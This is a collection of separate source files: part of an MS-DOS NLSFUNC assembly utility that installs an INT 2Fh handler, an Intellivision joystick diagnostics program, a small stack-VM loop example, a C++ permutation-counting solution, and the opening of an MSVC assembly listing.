add di, BUFFSIZE-2 ;AN001; ds:di-> last word of the buffer
Chk_Rvst_While: ;AN001;
cmp word ptr ds:[di], 0 ;AN001; di-> segment value
jne Chk_Rvst_Cont ;AN001;
cmp word ptr ds:[di-2], 0 ;AN001; offset
jne Chk_Rvst_Cont ;AN001;
jmp short Chk_Rvst_New ;AN001; Encountered a blank entry in the buffer
Chk_Rvst_Cont: ;AN001;
cmp word ptr ds:[di], bx ;AN001;
jne Chk_Rvst_Next ;AN001;
cmp word ptr ds:[di-2], ax ;AN001;
jne Chk_Rvst_Next ;AN001;
stc ;AN001; found a match
jmp short Chk_Rvst_Ret ;AN001;
Chk_Rvst_Next: ;AN001;
sub di, 4 ;AN001; move the pointer to the next entry
jmp Chk_Rvst_While ;AN001;
Chk_Rvst_New: ;AN001;
mov word ptr ds:[di],bx ;AN001; Keep the current open device segment
mov word ptr ds:[di-2], ax ;AN001; and offset
clc ;AN001; New device
Chk_Rvst_Ret: ;AN001;
pop di ;AN001;
pop es ;AN001;
pop bx ;AN001;
pop ax ;AN001;
ret ;AN001;
Chk_Revisit endp
subttl end nlsfunc resident code
page
NLSRES_LENG equ $-NLSRES_CODE+DATASIZE
subttl initialization
page
;***************************** NLSFUNC Initialization **************************
ASSUME CS:NLS_INIT_CODE,SS:STACK
PUBLIC MAIN
MAIN PROC FAR
mov ax,NLS_DATA ;set up data segment
mov ds,ax
assume ds:NLS_DATA
mov PATHSEG,ax
call SYSLOADMSG ;does DOS version check
.IF <NC>
mov dx,NLSRES_LENG ;calculate paragraph
add dx,15 ;add 15
shr dx,1 ;divide by 16 to get conversion from
shr dx,1 ;bytes to paragraphs
shr dx,1
shr dx,1
add dx,11h ;size based on the byte size of
mov RES_PARASIZE,dx ;the resident procedure
call PROCESS_PATH
.ELSE
call SYSDISPMSG
.ENDIF
; See if we should install and set
; the TSR flag.
; .IF <OPTIONS_SENT eq 0>
test INFO_FLAG,OPTIONS_SENT_F
jnz JJOPSOUT
; .IF <NO_PARMS eq 1> or
; .IF <GOOD_PATH eq 1>
test INFO_FLAG,NO_PARMS_F OR GOOD_PATH_F
jz JJOPSOUT
OPSEOK:
call INSTALL_NLS ;let's install NLSFUNC
; .IF <NC>
jc JJOPSOUT
or INFO_FLAG,EXIT_STAY_F ;if nothing wrong occured
; .ENDIF ; <NC>
; .ENDIF ; <NO_PARMS eq 1> or <GOOD_PATH eq 1>
; .ENDIF ; <OPTIONS_SENT eq 0>
JJOPSOUT:
;determine path of exit
;error or residency
;****************************** EXIT PROG *********************************************
push ax ;AN004;save existing values
push es ;
xor ax,ax
mov ax,es:[2ch]
or ax,ax
jz NO_FREEDOM
mov es,ax
mov ax,4900H ;AN004;make the free allocate mem func
int 21h
NO_FREEDOM:
pop es ;AN004;restore existing values
pop ax ;
; .IF <EXIT_STAY eq 1> ;Terminate and stay resident
test INFO_FLAG,EXIT_STAY_F
jz JJEXSY
mov bx,4 ;1st close file handles
.REPEAT
mov ah,3eh
int 21h
dec bx
.UNTIL <BX eq 0>
mov ah,031h
mov dx,RES_PARASIZE ;paragraphs allocated
jmp short JJEXOUT
; .ELSE
JJEXSY:
clc
mov ah,04ch ;value passed to ERRORLEVEL
; .ENDIF
JJEXOUT:
mov al, ERROR_CODE ;check for an error
int 21H
MAIN ENDP
;****************************** EXIT PROG *********************************************
subttl parse
page
; On entry: ES points at the PSP
; DS points at NLS_DATA
; DX was used to calculate paragraph size
;
; PARSER EFFECTS ES & DS wil be swapped
;
; Changes : ES:DI seg:off containing PARM Input Block
; to DS:SI seg:off containing command line
; segments
;
;
;
;
;
;
;****************************** PROCESS PATH ***********************************
;=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=I=
PROCESS_PATH PROC NEAR
;to command line parms
push es ;;AC000;e original es (nothing)
;AC000;
push ds ;AC000;he original ds (Nls_data)
;AC002;
push ds ;save for both es & ds to point at data
push es ;AC000;hat's in my es the PSP value
;AN000;
push ds ;AN000;he segment id that points to my
;es now points to data
pop es ;AC000;
;input parameter control block (NLS_DATA)
;AN000;
pop ds ;AN000; points to the segment for
;the command line string
;AN000;
ASSUME DS:NOTHING,ES:NLS_DATA
xor dx,dx
xor cx,cx
;***CNS
RE_START:
mov si,80h ;get the command line length
mov cl,byte ptr ds:[si] ;get the length for the counter
;
; mov LENGTH_HOLD,cl ;save the length of the command line
;
; .IF <dx eq 0>
mov di,OFFSET NLS_BUFFER ;
; mov dx,1
; .ELSE
; mov di,OFFSET PATH_SPEC ;
; mov dx,-1
; .ENDIF
mov si,CL_NUM ;AN000; points to the offset command
;line input string at value 81h
;AN000;
rep movsb ;transfer command line to NLS_BUFFER
; .IF <dx eq 1>
; jmp RE_START
; .ENDIF
;***CNS
mov di,OFFSET NLS_PARMS ;AN000; into ES of the PARMS INPUT
;BLOCK
;AN000;
pop ds ; ds also point at NLS_DATA
ASSUME DS:NLS_DATA
mov si,OFFSET NLS_BUFFER ;si now points to the offset command
;***CNS
xchg ax,CUR_PTR ;AN003;Save environment
;AN003;Set advancing ptr to end of argument
xchg ax,OLD_PTR ;AN003;after saving the beginning the string
;AN003;
xchg ax,CUR_PTR ;AN003;Restore the environment
mov CUR_PTR,si
;***CNS
xor cx,cx ;AN000;l value should be atleast 1
xor dx,dx ;AN000;ut dx for input into the PARSER
;AN000;
.WHILE <PAR_RETC eq 0> ;AN000;
call SYSPARSE ;AN000;empt to parse
;***CNS
xchg ax,CUR_PTR ;AN003;Save environment
;AN003;Set advancing ptr to end of argument
xchg ax,OLD_PTR ;AN003;after saving the beginning the string
;AN003;
xchg ax,CUR_PTR ;AN003;Restore the environment
mov CUR_PTR,si
;***CNS
.IF <RES_SYN EQ <OFFSET OPT_SYN>>
; Display the user options help message
call DISPLAY_OPTIONS
; Flag that the options message has been displayed,
; and now we want out of this program so the user
; can try again.
or INFO_FLAG,OPTIONS_SENT_F ; to get out of program
and INFO_FLAG,NOT EXIT_STAY_F ; and not TSR
mov ERROR_CODE, 0 ; and no error for help
mov ax, 1 ; to get out of WHILE loop
.ELSEIF <Res_type eq 5> ;AN000;ound
;AN000;
mov USER_PATH,1 ;AN000;;path specified
;AC000;
.ENDIF ;AN000;
mov PAR_RETC, AX ;AN000;;keep parsing until eoln
;AN000;
.ENDWHILE ;AN000;
; If we didn't display the option help message,
; then continue on with normal processing.
; .IF <OPTIONS_SENT EQ 0> NEAR
test INFO_FLAG,OPTIONS_SENT_F
jz JJBR1
jmp JJOUT1
; .IF <PAR_RETC gt 0> ;AN000;;parse error
JJBR1:
cmp PAR_RETC,0
jnge JJRETC
LEA DI,PATH_SPEC ;AN003;Set PTR to look at the STRING
PUSH SI ;AN003;Save current SI index
PUSH AX
MOV AX,OLD_PTR ;AN003;Last locale of the end of a PARAM
SUB CUR_PTR,AX ;AN003;Get the length via the PSP
MOV SI,CUR_PTR
MOV CX,SI ;AN003;Save it in CX to move in the chars
POP AX ;AN003;Restore the PTR to the command line position
MOV SI,OLD_PTR ;AN003;Last locale of the end of a PARAM
REP MOVSB ;AN003;Move in the chars until no more
LEA DI,PATH_SPEC ;AN003;Set PTR to look at the STRING
POP SI ;AN003;Restore the PTR to the command line position
mov cx,1 ;AN003;;
mov bx,STDERR ;AN003;
mov dl,no_input ;AN003;
mov dh,PARSE_ERR_CLASS ;AN003;
mov ds,PATHSEG ;AN003;
mov si,OFFSET PARMLIST3 ;AN003;
call SYSDISPMSG ;AN003;
or INFO_FLAG,PARSE_ERR_F ;AN003;;PARSE ERROR OCCURED
jmp short JJOUTRETC
; .ELSEIF <CX eq 1> ;AN000;ordinal check
JJRETC:
cmp cx,1
jne JJCX
;AN000;
or INFO_FLAG,GOOD_PAR_F ;AN000;you are at the end of the line
jmp short JJOUTRETC ;AN000;
JJCX:
; .ELSE
or INFO_FLAG,NO_PARMS_F ;AN000;there is no argument go install
; .ENDIF ; <PAR_RETC gt 0>
JJOUTRETC:
; .IF <PARSE_ERR eq 0> NEAR ;AN000;if not true you encountered a parse error
test INFO_FLAG,PARSE_ERR_F
jnz JJOUT1
; .IF <GOOD_PAR eq 1> NEAR ;AN000;there is a parameter line available
;to parse
test INFO_FLAG,GOOD_PAR_F ;AN000;
jz JJOUT1 ;Check the flags to see what
;was returned in the return block
lea di,path_spec ;AC000;es:di > final path_spec
;that will be used after fixup
; .IF <USER_PATH gt 0> ;AC000;drive has been solved need
;to check the filespec now
cmp USER_PATH,0
jnge USPA1
xor in_dex,in_dex ;AN000;clear ctr
mov bx,Res_POFF ;AN000;get file spec ptr to text
push ds ;AN000;prepare for entry
mov ds,Res_PSEG ;AN000;
mov in_dex,bx ;AN000;string seg value if filename
; .ENDIF ;user path ;AN000;
USPA1:
.WHILE <Filespec_PTR ne NULL> ;load chars until no more
;AN000;
;AN000;
mov al,FILESPEC_PTR ;AN000;
mov byte ptr es:[di],al ;move value into pathspec and
inc in_dex ;increment to next char position
inc di ;AN000;
.ENDWHILE
;************************** CNS **********************************************
;The new method of checking for a "bogus" file will be to attempt an
;open on the path_spec if pathspec exist close path and continue if
;carry set stuff error code with 02 and exit.....
;*****************************************************************************
; push es ;AN000;
pop ds ;into find first
mov si,di ;AN000;
xor cx,cx ;AN000;
ASSUME DS:NLS_DATA
mov byte ptr ds:[si],NULL ;add asciiz value
;AN000;
lea dx,PATH_SPEC ;check full pathname
mov ah,4eh
int 21h
;set up addressability
; .IF <NC>
jc JJC1
clc ;ok-clear carry/exit
or INFO_FLAG,GOOD_PATH_F
jmp short JJOUT1
; .ELSE
JJC1:
mov ax,FNF ;AN000;
mov cx,1 ; ;AN000;
mov bx,STDERR ;AN000;
mov dl,no_input ;AN000;
mov dh,UTILITY_MSG_CLASS ;AN000;
mov ds,PATHSEG ;AN000;
mov si,OFFSET PARMLIST1 ;AN000;
call SYSDISPMSG ;AN000;
mov ERROR_CODE,02 ;
stc
; .ENDIF ; <NC>
; .ENDIF ; <GOOD_PAR eq 1>
; .ENDIF ; <PARSE_ERR eq 0>
; .ENDIF ; <OPTIONS_SENT EQ 0>
JJOUT1:
pop ds ;AN000;;restore original ds (NLS_DATA)
;AN000;
pop es ;AN000;;restore original es (nothing)
;AN000;
;AN000;;after munging around with the PARSER
ASSUME DS:NLS_DATA,ES:NOTHING
ret
PROCESS_PATH ENDP
subttl display_options
page
;**************************** DISPLAY OPTIONS *******************************
;
; 04/26/90 c-PaulB
;
; on entry:
; No value passed
;
; on exit:
; No value returned
; AX, BX, CX, DX, SI modified
;
; function:
; Displays all lines of the options help message to standard
; output.
;
;**************************** DISPLAY OPTIONS *******************************
PUBLIC DISPLAY_OPTIONS
DISPLAY_OPTIONS PROC NEAR
push ds
mov ax, MSG_OPTIONS_FIRST ; message to display
mov bx, STDOUT ; output handle
mov cx, 0 ; no substitutions
mov dh, UTILITY_MSG_CLASS ; message class
mov dl, no_input ; no input wanted
mov si, 0 ; no substitution list
mov ds, PATHSEG
DO_LOOP:
call SYSDISPMSG ; send this message line
cmp ax, MSG_OPTIONS_LAST ; last message?
je DO_DONE ; we're done if so
inc ax ; else get next msg
jmp short DO_LOOP ; and go do it
DO_DONE:
pop ds
ret
DISPLAY_OPTIONS ENDP
;****************************** CNS *******************************************
subttl install NLSFUNC
page
;******************************** INSTALL NLSFUNC *****************************
INSTALL_NLS PROC NEAR
push es
xor ax,ax ;clear the ax
mov ah,MULT_NLSFUNC ;load in my multiplex
INT 2fh ;id value 14
or al,al ;check to see if
; jz DO_INSTALL ;hooked in the chain
; *********************** CNS *************************************************
.IF <Z> ;AN000
;Install NLSFUNC
mov al,2fh ;Get interrupt
mov ah,GET_INT ;2f in the chain
int 21h
mov word ptr INT_2f_NEXT+2,ES ;store the address
mov word ptr INT_2f_NEXT,BX ;to make the current
push ds ;2f handler next in
push cs ;the chain
pop ds ;set Dataseg to the Code
mov dx,offset NLSRES_CODE ;give start address
mov al,2fh ;of resident logic
mov ah,SET_INT ;set the 2f in the
int 21h ;chain
pop ds ;restore original ds
;terminate &
CLC ; Let main know everything OK ;BN001;
;stay
;FREE THE ENVIRONMENT ;no then install
; push ax ;AN004;save existing values
; push es ;
; mov ah,49H ;AN004;make the free allocate mem func
; mov es,es:[2ch] ;AN004;get the segment address
; int 21h ;
; pop es ;AN004;restore existing values
; pop ax ;
.ELSE ;AN000;
;TBR Message retriever ;otherwise
mov ax,ALLINS ;
mov cx,1 ;
mov bx,STDERR ;AN000;
mov dl,no_input ;AN000;
mov dh,UTILITY_MSG_CLASS ;AN000;
mov ds,PATHSEG
mov si,OFFSET PARMLIST2
call SYSDISPMSG ;AN000;
mov ERROR_CODE,80 ;UTILITY ERROR CODE
stc
.ENDIF
pop es
ret
INSTALL_NLS ENDP
msg_services <LOADmsg> ;AN000;
msg_services <DISPLAYmsg,CHARmsg> ;AN000;
msg_services <nlsfunc.cl1,nlsfunc.cl2,nlsfunc.cla> ;AN000;
;******************************** END OF NLS_INIT_CODE **************************
NLS_INIT_CODE ENDS
subttl stack
page
STACK SEGMENT PARA STACK 'STACK'
DB 512 DUP (?)
STACK ENDS
END MAIN
|
;; ======================================================================== ;;
;; Joystick Diagnostics Program ;;
;; Uses EMU_LINK interface to query jzIntv for raw joystick parameters ;;
;; ======================================================================== ;;
;* ======================================================================== *;
;* This program is free software; you can redistribute it and/or modify *;
;* it under the terms of the GNU General Public License as published by *;
;* the Free Software Foundation; either version 2 of the License, or *;
;* (at your option) any later version. *;
;* *;
;* This program is distributed in the hope that it will be useful, *;
;* but WITHOUT ANY WARRANTY; without even the implied warranty of *;
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *;
;* General Public License for more details. *;
;* *;
;* You should have received a copy of the GNU General Public License along *;
;* with this program; if not, write to the Free Software Foundation, Inc., *;
;* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. *;
;* ======================================================================== *;
;* Copyright (c) 2005, Joseph Zbiciak *;
;* ======================================================================== *;
ROMW 16 ; Use 16-bit ROM width
CFGVAR "name" = "Joystick Diagnostics"
CFGVAR "short_name" = "Joystick Diags"
CFGVAR "year" = 2005
CFGVAR "author" = "Joe Zbiciak"
CFGVAR "license" = "GPLv2+"
ORG $300, $300, "-RWBN"
NUM_JOY RMB 1
CUR_JOY RMB 1
RAW_POS RMB 2
RAW_CTR RMB 2
RAW_MIN RMB 2
RAW_MAX RMB 2
NRM_POS RMB 2
DISC RMB 1
NUM_BUT RMB 1
BUTTONS RMB 2
NUM_HAT RMB 1
HATS RMB 1
STICSH RMB 24
;; ======================================================================== ;;
;; Macros and definitions ;;
;; ======================================================================== ;;
INCLUDE "library/gimini.asm"
INCLUDE "macro/util.mac"
INCLUDE "macro/stic.mac"
INCLUDE "macro/gfx.mac"
INCLUDE "macro/print.mac"
ORG $5000 ; Use default memory map
;; ======================================================================== ;;
;; EXEC-friendly ROM header. ;;
;; ======================================================================== ;;
ROMHDR: BIDECLE ZERO ; MOB picture base (points to NULL list)
BIDECLE ZERO ; Process table (points to NULL list)
BIDECLE MAIN ; Program start address
BIDECLE ZERO ; Bkgnd picture base (points to NULL list)
BIDECLE ONES ; GRAM pictures (points to NULL list)
BIDECLE TITLE ; Cartridge title/date
DECLE $03C0 ; No ECS title, run code after title,
; ... no clicks
ZERO: DECLE $0000 ; Screen border control
DECLE $0000 ; 0 = color stack, 1 = f/b mode
ONES: DECLE 1, 1, 1, 1, 1 ; Initial color stack 0..3 and border: blue
;------------------------------------------------------------------------------
;; ======================================================================== ;;
;; EMUlink API subfunctions for joysticks: ;;
;; ;;
;; 00: Number of joysticks. Result in R0. Ignores R3. ;;
;; 01: Get geometry: Returns # of axes, balls, hats, buttons in R0..R3 ;;
;; 02: Get X/Y raw pos: Returns 16-bit X/Y pos in R1, R2. ;;
;; 03: Get X/Y raw min: Returns 16-bit X/Y min in R1, R2. ;;
;; 04: Get X/Y raw max: Returns 16-bit X/Y max in R1, R2. ;;
;; 05: Get X/Y raw ctr: Returns 16-bit X/Y max in R1, R2. ;;
;; 06: Get X/Y cooked: Norm'd 8-bit X/Y in R1, R2. Disc Dir in R0. ;;
;; 07: Get buttons. Returns 32-bit bitmap in R1, R2. ;;
;; 08: Get hats. Returns hats 0..3 in 4 x 4-bit fields in R0. ;;
;; ======================================================================== ;;
EL_NUM_JOY EQU 0
EL_GET_GEO EQU 1
EL_RAW_POS EQU 2
EL_RAW_MIN EQU 3
EL_RAW_MAX EQU 4
EL_RAW_CTR EQU 5
EL_GET_XY EQU 6
EL_GET_BTN EQU 7
EL_GET_HAT EQU 8
;; ======================================================================== ;;
;; TITLE -- Display our modified title screen & copyright date. ;;
;; ======================================================================== ;;
TITLE: PROC
BYTE 105, 'Joystick Diagnostics', 0
MAIN:
MVII #$100, R4
MVII #$260, R1
CALL FILLZERO
MVII #ISR, R0
MVO R0, $100
SWAP R0
MVO R0, $101
MVII #$2F0, R6
EIS
;; ------------------------------------------------------------ ;;
;; Check for EMU_LINK support. ;;
;; ------------------------------------------------------------ ;;
MVII #$4A5A, R0
SETC
SIN
BNC @@ok
TSTR R0
BEQ @@ok
;; ------------------------------------------------------------ ;;
;; Print failure message if we don't detect EMU_LINK. ;;
;; ------------------------------------------------------------ ;;
;0123456789012345678901234567890123456789
PRINT_CSTK 6, 3, RED, "Requires jzIntv EMU-LINK support."
B $
@@ok:
;; ------------------------------------------------------------ ;;
;; See if any joysticks are hooked up. ;;
;; ------------------------------------------------------------ ;;
CALL DO_EL
DECLE EL_NUM_JOY
TSTR R0
BNEQ @@got_joy
;0123456789012345678901234567890123456789
PRINT_CSTK 6, 1, RED, "No Joystics Detected"
B $
@@got_joy MVO R0, NUM_JOY
;; ------------------------------------------------------------ ;;
;; Main processing loop. Read info about current controller ;;
;; and display it. ;;
;; ------------------------------------------------------------ ;;
@@loop:
CALL GET_RAW
DECLE RAW_POS, EL_RAW_POS
CALL GET_RAW
DECLE RAW_CTR, EL_RAW_CTR
CALL GET_RAW
DECLE RAW_MIN, EL_RAW_MIN
CALL GET_RAW
DECLE RAW_MAX, EL_RAW_MAX
CALL GET_RAW
DECLE NRM_POS, EL_GET_XY
MVO R0, DISC
CALL GET_RAW
DECLE BUTTONS, EL_GET_BTN
; CALL DO_EL
; DECLE EL_GET_HAT
; MVO R0, HATS
CALL DISP_PAIR
DECLE RAW_POS, disp_ptr(1, 0)
CALL DISP_PAIR
DECLE RAW_CTR, disp_ptr(2, 0)
CALL DISP_PAIR
DECLE RAW_MIN, disp_ptr(3, 0)
CALL DISP_PAIR
DECLE RAW_MAX, disp_ptr(4, 0)
CALL DISP_PAIR
DECLE NRM_POS, disp_ptr(5, 0)
CALL DISP_PAIR
DECLE BUTTONS, disp_ptr(6, 0)
B @@loop
; Done.
ENDP
;; ======================================================================== ;;
;; ISR ;;
;; ======================================================================== ;;
ISR PROC
MVO R0, $20
MVII #__CSTK.GROM_TAN, R0
MVII #$28, R4
MVO@ R0, R4
MVO@ R0, R4
MVO@ R0, R4
MVO@ R0, R4
MVO@ R0, R4
JR R5
ENDP
;; ======================================================================== ;;
;; DISP_PAIR ;;
;; ======================================================================== ;;
DISP_PAIR PROC
MVI@ R5, R3
MVI@ R5, R4
PSHR R5
MVI@ R3, R0
INCR R3
PSHR R3
MVII #__CSTK.GROM_WHT, R1
CALL HEX16
INCR R4
PULR R3
MVI@ R3, R0
CALL HEX16
PULR PC
ENDP
;; ======================================================================== ;;
;; DO_EL Make an joystick emu_link call. API follows call. ;;
;; DO_EL.1 Make an joystick emu_link call. API in R2. ;;
;; ======================================================================== ;;
DO_EL PROC
MVI@ R5, R2
@@1 MVII #$4A5A, R0
PSHR R5
PSHR R2
MVII #8, R1 ; joystick subsystem on major API #8
SETC
SIN
BC @@failed
DECR R6 ; dump saved EL call #
PULR PC ; return
@@failed: CALL CLRSCR
MVII #disp_ptr(7, 3), R4
MVII #__CSTK.GROM_RED, R1
CALL HEX16
;0123456789012345678901234567890123456789
PRINT_CSTK 5, 0, RED, "EMU-LINK call failed"
PULR R0
MVII #disp_ptr(7, 8), R4
MVII #__CSTK.GROM_RED, R1
CALL HEX16
PULR R0
MVII #disp_ptr(7,13), R4
MVII #__CSTK.GROM_RED, R1
CALL HEX16
B $
ENDP
;; ======================================================================== ;;
;; GET_RAW: EL calls RAW_POS thru RAW_CTR ;;
;; ======================================================================== ;;
GET_RAW PROC
MVI@ R5, R4
MVI@ R5, R2 ; Sub-API number
PSHR R5
MVI CUR_JOY,R3 ; Current joystick number
CALL DO_EL.1
MVO@ R1, R4
MVO@ R2, R4
PULR PC
ENDP
;; ======================================================================== ;;
;; LIBRARY INCLUDES ;;
;; ======================================================================== ;;
INCLUDE "library/print.asm"
INCLUDE "library/fillmem.asm"
INCLUDE "library/prnum16.asm"
INCLUDE "library/hexdisp.asm"
|
# while loop
# i = 5
# while i > 0 do
# print "In loop"
# i = i - 1
# end
# print "Done"
#
pushi 5
store 0
l2: load 0
pushi 0
isGt
jmpIfFalse l1
pushs "In loop"
pushi 1
println
load 0
pushi 1
sub
store 0
jmp l2
l1: pushs "Done"
pushi 1
print
halt |
/*
"An anomaly, I'm Muhammad Ali
Cause I know one day I'm gonna be the"
- Greatest, Eminem
*/
#pragma GCC optimize ("O3")
#pragma GCC target ("sse4")
#include<bits/stdc++.h>
using namespace std;
typedef long long int ll;
#define ff first
#define Shazam ios_base::sync_with_stdio(false); cin.tie(NULL); cout.tie(NULL);
#define ss second
#define all(c) c.begin(),c.end()
#define endl "\n"
#define test() int t; cin>>t; while(t--)
#define fl(i,a,b) for(int i = a ; i <b ;i++)
#define get(a) fl(i,0,a.size()) cin>>a[i];
#define pra(a) fl(i,0,a.size()) cout<<a[i]<<" "; cout<<endl;
#define pr(a,n) fl(i,0,n) cout<<a[i]<<" "; cout<<endl;
const ll INF = 2e18;
const int inf = 2e9;
const int mod1 = 1e9 + 7;
int main(){
Shazam;
string s; cin >> s;
sort(all(s));
set<string> bag;
do{
bag.insert(s);
}while(next_permutation(all(s)));
cout << (int)bag.size() << endl;
return 0;
} |
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.28.29334.0
include listing.inc
INCLUDELIB MSVCRTD
INCLUDELIB OLDNAMES
msvcjmc SEGMENT
__0920A867_cstddef DB 01H
__09340588_corecrt_math@h DB 01H
__24E9E95F_stdlib@h DB 01H
__ACEB72CA_cstdlib DB 01H
__2D26A21E_type_traits DB 01H
__2B31710D_vcruntime_new@h DB 01H
__B0C4CEA9_malloc@h DB 01H
__49CBC5C5_vcruntime_exception@h DB 01H
__8B12B611_exception DB 01H
__B68D2755_vcruntime_typeinfo@h DB 01H
__8412937C_typeinfo DB 01H
__F66CEB67_corecrt_stdio_config@h DB 01H
__101834BA_corecrt_wstdio@h DB 01H
__AD6A91B7_stdio@h DB 01H
__367CC694_corecrt_memcpy_s@h DB 01H
__5467428D_corecrt_wconio@h DB 01H
__4442441F_corecrt_wio@h DB 01H
__DC9673E3_corecrt_wstring@h DB 01H
__45F4AF76_corecrt_wtime@h DB 01H
__186FF47F_stat@h DB 01H
__534C724A_wchar@h DB 01H
__D63D5DDA_limits DB 01H
__35D7DDB3_corecrt_memory@h DB 01H
__A29A7DFB_string@h DB 01H
__F4CD6065_xutility DB 01H
__F1739482_xmemory DB 01H
__563C2410_any DB 01H
__6A935154_memory DB 01H
__A298E223_tuple DB 01H
__B8402D15_xpolymorphic_allocator@h DB 01H
__85A0121E_xstring DB 01H
__025C8C4C_stdexcept DB 01H
__7242C389_ctype@h DB 01H
__1E40D7C8_string DB 01H
__0D920760_xtree DB 01H
__61DEF4C5_algorithm DB 01H
__04BBFB62_cmath DB 01H
__127BCABE_xcall_once@h DB 01H
__8AA3BE86_time@h DB 01H
__0E11DA62_xthreads@h DB 01H
__BD080118_atomic DB 01H
__AD26D89E_system_error DB 01H
__46D6065B_xfacet DB 01H
__9B9B70B4_xlocinfo DB 01H
__5A9E662F_xlocale DB 01H
__A27E07A7_xiosbase DB 01H
__C4190038_xlocnum DB 01H
__A1E1ADF7_ios DB 01H
__43313DD1_LoggerHandler@hpp DB 01H
__694F6E7E_Event@hpp DB 01H
__28D8CDA7_EventHandler@cpp DB 01H
__9B902D3A_vector DB 01H
__2A5E89D1_istream DB 01H
__498EBCEB_ostream DB 01H
__00FC34F0_streambuf DB 01H
__1AD4885C_iosfwd DB 01H
__E561D725_iterator DB 01H
__9BE6F741_utility DB 01H
__6CF96053_xstddef DB 01H
__811E3AC7_xatomic@h DB 01H
msvcjmc ENDS
PUBLIC ?__empty_global_delete@@YAXPEAX@Z ; __empty_global_delete
PUBLIC ?__empty_global_delete@@YAXPEAX_K@Z ; __empty_global_delete
PUBLIC ?__empty_global_delete@@YAXPEAXW4align_val_t@std@@@Z ; __empty_global_delete
PUBLIC ?__empty_global_delete@@YAXPEAX_KW4align_val_t@std@@@Z ; __empty_global_delete
PUBLIC ?_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z ; std::_Adjust_manually_vector_aligned
PUBLIC ?_Orphan_all@_Container_base12@std@@QEAAXXZ ; std::_Container_base12::_Orphan_all
PUBLIC ?deallocate@?$allocator@D@std@@QEAAXQEAD_K@Z ; std::allocator<char>::deallocate
PUBLIC ?assign@?$_Narrow_char_traits@DH@std@@SAXAEADAEBD@Z ; std::_Narrow_char_traits<char,int>::assign
PUBLIC ?_Large_string_engaged@?$_String_val@U?$_Simple_types@D@std@@@std@@QEBA_NXZ ; std::_String_val<std::_Simple_types<char> >::_Large_string_engaged
PUBLIC ??1_Bxty@?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ ; std::_String_val<std::_Simple_types<char> >::_Bxty::~_Bxty
PUBLIC ??1?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ ; std::_String_val<std::_Simple_types<char> >::~_String_val<std::_Simple_types<char> >
PUBLIC ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
PUBLIC ?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Tidy_deallocate
PUBLIC ?_Getal@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAAEAV?$allocator@D@2@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Getal
PUBLIC ?_Get_first@?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAAAEAV?$allocator@D@2@XZ ; std::_Compressed_pair<std::allocator<char>,std::_String_val<std::_Simple_types<char> >,1>::_Get_first
PUBLIC ??1?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAA@XZ ; std::_Compressed_pair<std::allocator<char>,std::_String_val<std::_Simple_types<char> >,1>::~_Compressed_pair<std::allocator<char>,std::_String_val<std::_Simple_types<char> >,1>
PUBLIC ??_G?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAAPEAXI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::`scalar deleting destructor'
PUBLIC ?deallocate@?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@QEAAXQEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_K@Z ; std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >::deallocate
PUBLIC ??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::~vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >
PUBLIC ?_Destroy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@0@Z ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Destroy
PUBLIC ?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Tidy
PUBLIC ?_Getal@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Getal
